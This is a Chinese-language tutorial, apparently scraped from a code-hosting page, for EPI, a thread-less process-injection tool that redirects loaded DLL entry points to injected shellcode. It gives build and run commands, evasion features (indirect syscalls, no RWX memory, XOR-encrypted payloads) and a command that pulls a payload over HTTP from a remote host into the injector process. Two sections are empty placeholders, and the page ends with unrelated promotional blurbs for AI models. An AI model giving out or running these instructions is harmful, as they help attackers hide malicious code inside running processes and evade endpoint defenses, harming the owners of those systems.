EPI 项目使用与启动教程
1. 项目介绍
EPI(Entry Point Injection)是一个利用新的无线程进程注入技术,通过劫持已加载的 DLL 文件的入口点来实现进程注入的工具。该工具通过修改目标进程的 PEB(Process Environment Block),使得已加载的 DLL 文件的入口点被重定向到注入的壳代码(默认情况下是转换为 sRDI 的 Loader)。当进程自然创建新线程或线程退出时,所有已加载模块的入口点都会被调用,包括我们的注入壳代码。
EPI 的主要优势包括:
- 支持无线程或有线程执行模式。
- 不进行钩子操作(即不对 RX 内存区域进行 JMP 或 CALL 指令的修补)。
- 在已知 DLL 的 RX 内存页上不生成私有内存区域。
- 不需要 RWX 内存权限。
- 目标进程可以继续其常规执行。
- 没有新线程的起始地址指向我们的壳代码。
2. 项目快速启动
环境准备
在编译前,需要设置 LITCRYPT 加密密钥环境变量。打开命令行,执行以下命令:
set LITCRYPT_ENCRYPT_KEY="setarandomkeyeachtime"
编译项目
使用工具默认配置
编译 EPI 项目:
cargo build --release
编译完成后,运行工具:
epi.exe -h
无 Loader - 自定义 payload
如果你希望直接执行自定义的壳代码而不使用 Loader(强烈不推荐),运行 builder.py 脚本并指定 payload 文件的完整路径:
python3 builder.py -p c:\path\to\payload.bin
然后运行 epi.exe:
epi.exe -h
使用 Loader 和自定义 payload
这是推荐的用法,因为它允许你以最可靠的方式完全自定义执行。要构建工具,运行 builder.py 脚本并使用 -l 标志指示使用 Loader。如果你想要在 Loader 中启用间接系统调用,可以使用 -i 标志。
python3 builder.py -l -p c:\path\to\payload.bin [-i]
编译完成后,注入器即可使用:
epi.exe -p <PID> [flags]
如果你不想在最终二进制中嵌入最终的 PIC 代码,可以加密它(使用简单的 XOR 加密),通过 -d 标志传递给 builder.py,然后通过 HTTP 直接下载到注入器进程内存中。
python3 builder.py -l -p c:\path\to\payload.bin -d [-i]
加密后的 payload 将被写入 payload 目录。加密密钥与 LITCRYPT_ENCRYPT_KEY 环境变量相同。这个值必须传递给 epi.exe 才能在运行时解密 payload:
epi.exe -p <PID> -u http://remoteip/payload.bin -k setarandomkeyeachtime [flags]
基本使用
传递目标进程的 PID 给工具,并等待线程的创建或退出:
epi.exe -p 1337
如果需要启用 DEBUG 权限以进行注入,可以使用 -d 标志。启用注入器的间接系统调用也可以通过 -i 标志实现。
epi.exe -p 1337 -d -i
如果你不想等待自然创建新线程,可以使用 -f 标志强制创建一个新线程。
epi.exe -p 1337 -f
最后,可以通过发送 WM_QUIT 消息到目标进程的所有线程来强制执行注入的壳代码。
epi.exe -p 1337 -s
3. 应用案例和最佳实践
(此处可以添加具体的应用案例和最佳实践,例如如何在特定场景下使用 EPI,如何调整配置以适应不同的需求等。)
4. 典型生态项目
(此处可以介绍与 EPI 相关的生态项目,例如其他进程注入工具、安全防护工具等,以及如何将它们与 EPI 结合使用。)
GLM-5智谱 AI 正式发布 GLM-5,旨在应对复杂系统工程和长时域智能体任务。Jinja00
GLM-5-w4a8GLM-5-w4a8基于混合专家架构,专为复杂系统工程与长周期智能体任务设计。支持单/多节点部署,适配Atlas 800T A3,采用w4a8量化技术,结合vLLM推理优化,高效平衡性能与精度,助力智能应用开发Jinja00
请把这个活动推给顶尖程序员😎本次活动专为懂行的顶尖程序员量身打造,聚焦AtomGit首发开源模型的实际应用与深度测评,拒绝大众化浅层体验,邀请具备扎实技术功底、开源经验或模型测评能力的顶尖开发者,深度参与模型体验、性能测评,通过发布技术帖子、提交测评报告、上传实践项目成果等形式,挖掘模型核心价值,共建AtomGit开源模型生态,彰显顶尖程序员的技术洞察力与实践能力。00
Kimi-K2.5Kimi K2.5 是一款开源的原生多模态智能体模型,它在 Kimi-K2-Base 的基础上,通过对约 15 万亿混合视觉和文本 tokens 进行持续预训练构建而成。该模型将视觉与语言理解、高级智能体能力、即时模式与思考模式,以及对话式与智能体范式无缝融合。Python00
MiniMax-M2.5MiniMax-M2.5开源模型,经数十万复杂环境强化训练,在代码生成、工具调用、办公自动化等经济价值任务中表现卓越。SWE-Bench Verified得分80.2%,Multi-SWE-Bench达51.3%,BrowseComp获76.3%。推理速度比M2.1快37%,与Claude Opus 4.6相当,每小时仅需0.3-1美元,成本仅为同类模型1/10-1/20,为智能应用开发提供高效经济选择。【此简介由AI生成】Python00
Qwen3.5Qwen3.5 昇腾 vLLM 部署教程。Qwen3.5 是 Qwen 系列最新的旗舰多模态模型,采用 MoE(混合专家)架构,在保持强大模型能力的同时显著降低了推理成本。00- RRing-2.5-1TRing-2.5-1T:全球首个基于混合线性注意力架构的开源万亿参数思考模型。Python00